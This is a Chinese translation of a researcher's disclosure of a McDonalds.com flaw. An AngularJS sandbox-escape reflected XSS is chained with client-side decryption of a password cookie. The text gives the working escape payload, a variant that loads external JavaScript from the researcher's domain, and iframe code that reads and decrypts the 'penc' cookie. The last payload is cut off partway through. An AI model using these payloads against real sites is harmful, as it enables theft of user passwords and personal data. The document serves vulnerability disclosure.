通過濫用一個(gè)不安全加密存儲(chǔ)漏洞(點(diǎn)擊查看)和反射型服務(wù)端跨站腳本漏洞(點(diǎn)擊查看)就可以從麥當(dāng)勞盜取并解密用戶密碼。除此之外,其他個(gè)人信息,如用戶姓名、地址和聯(lián)系方式都可能被盜。
Proof of Concept(PoC)
AngularJS沙箱繞過進(jìn)行反射型XSS
McDonalds.com包括一個(gè)搜索頁面在頁面的源碼上體現(xiàn)了一個(gè)搜索參數(shù)(q)的值。所以當(dāng)我們?cè)陧撁嫔纤阉?**********-test-reflected-test-***********的時(shí)候響應(yīng)會(huì)如下所示:
麥當(dāng)勞使用AngularJS所以我們可以嘗試使用搜索值列出唯一ID的范圍。我們可以通過修改q參數(shù)為{{$id}}。我們可以看到{{$id}}被轉(zhuǎn)換成9,AngularJS范圍內(nèi)唯一的ID(單調(diào)遞增)。
使用{{alert(1)}}并不會(huì)彈窗,因?yàn)樗械腁ngularJS代碼都在沙箱中執(zhí)行。然而 AngularJS沙箱是不安全的。事實(shí)上,它完全不應(yīng)被信任。在1.6版本(source)中甚至因?yàn)樘摷侔踩灰瞥?。PortSwigger 寫了一篇很好的博文(點(diǎn)擊閱讀)關(guān)于AngularJS沙箱的逃離技術(shù)。
我們首先要找到McDonalds.com的AngularJS版本。我們可以在 console執(zhí)行angular.version
版本是1.5.3,沙箱逃逸我們需要
{{x ={'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
我們使用這個(gè)沙箱逃逸作為搜索值,并以此導(dǎo)致彈窗。
我們甚至可以在沙箱逃逸后加載外部Javascript文件,并導(dǎo)致下面的彈窗。
{{x = {'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)');}}`
因?yàn)辂湲?dāng)勞沒有使用CSP(content-security-policy)頭, Javascript可以被加載任意域名。
Proof of Concept(PoC)
盜取用戶密碼
在McDonalds.com上我注意到的另一件事情是他們的登錄頁面,包含了一個(gè)非常特殊的復(fù)選框。正常來說你可以在登錄過后選擇“記住我”,但麥當(dāng)勞的登錄頁面留給我們記住密碼的選項(xiàng)。
我在所有的Javascript中搜索password關(guān)鍵字并找到一些有趣的解密代碼。
如果說有一件事情是不應(yīng)該做的,那就是在客戶端解密(甚至使用雙向加密存儲(chǔ)密碼)。我嘗試運(yùn)行自己的代碼,而且成功了!
penc 是一個(gè)在cookie中存儲(chǔ)一年的值。LOL !
麥當(dāng)勞使用CryptoJS來加密和解密敏感數(shù)據(jù)。他們?yōu)樗杏脩羰褂孟嗤腒ey(密鑰 )和IV(初始化向量),這意味著我只要盜取了penc的cookie解密某人的密碼
我嘗試在搜索頁面使用一個(gè)惡意搜索payload來解密我的密碼,但沒有成功。因?yàn)锳ngularJS 的沙箱逃逸載荷替代了chartAt方法為join方法,getcookie 方法失敗了。getcookie方法會(huì)嘗試通過檢查charAt(0)是否為空格來去除 cookie值中的空格。在下圖,你可以看到如果在搜索頁面成功執(zhí)行.charAt(0)返回字符串與 0 相聯(lián)結(jié)。
我寫了一些Javascript在主頁上加載iframe ,并通過iframe盜取用戶cookie 。因?yàn)樯诚涮右莸木壒?,載荷需要執(zhí)行多次,我跟蹤變量 xssIsExecuted,這樣 payload 只執(zhí)行一次。
if (!window.xssIsExecuted) { window.xssIsExecuted = true; var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>');
$('body').append(iframe);
iframe.on('load', function() { var penc = iframe[0].contentWindow.getCookie('penc');
alert(iframe[0].contentWindow.decrypt(penc));
});
}
現(xiàn)在我們可以使用下列沙箱逃逸,成功彈窗!
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].jo
donalds-password-stealer.js`)');}}
這些都相當(dāng)簡單,我聯(lián)系了麥當(dāng)勞多次并報(bào)告問題,不幸的是他們沒有任何回應(yīng),這就是為什么我決定披露此漏洞的原因。